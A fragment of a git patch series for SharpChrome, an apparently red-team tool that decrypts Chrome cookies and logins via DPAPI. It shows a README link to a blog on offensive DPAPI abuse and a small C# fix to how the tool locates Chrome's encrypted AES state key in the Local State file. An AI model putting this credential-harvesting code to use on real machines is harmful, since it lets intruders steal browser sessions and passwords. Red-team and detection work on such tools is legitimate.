credentials/vaults/etc. -For more offensive DPAPI information, [check here](https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/). +For more offensive DPAPI information, [check here](https://blog.harmj0y.net/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/). #### SharpChrome From 712fb88adc6309de7eb0bdba7e7d9f95f847bdd9 Mon Sep 17 00:00:00 2001 From: Jonn Callahan Date: Fri, 21 Jun 2024 11:11:47 +0000 Subject: [PATCH 28/28] fix chrome parsing issue --- SharpChrome/lib/Chrome.cs | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/SharpChrome/lib/Chrome.cs b/SharpChrome/lib/Chrome.cs index dbf562a..57287e5 100644 --- a/SharpChrome/lib/Chrome.cs +++ b/SharpChrome/lib/Chrome.cs @@ -780,15 +780,26 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str public static string GetBase64EncryptedKey(string localStatePath) { // extracts the base64 encoded encrypted chrome AES state key + // quote-wrap the search term in order to handle multiple + // JSON keys with "encrypted_key" (e.g., "app_bound_encrypted_key") string localStateData = File.ReadAllText(localStatePath); - string searchTerm = "encrypted_key"; - + string searchTerm = "\"encrypted_key\""; + int indexPadding = 2; int startIndex = localStateData.IndexOf(searchTerm); + // if we can't find the quote-wrapped variant, fall back to + // the original variant + if (startIndex < 0) + { + searchTerm = "encrypted_key"; + indexPadding = 3; + startIndex = localStateData.IndexOf(searchTerm); + } + if (startIndex < 0) return ""; - int keyIndex = startIndex + searchTerm.Length + 3; + int keyIndex = startIndex + searchTerm.Length + indexPadding; string tempVals = localStateData.Substring(keyIndex); int stopIndex = tempVals.IndexOf('"');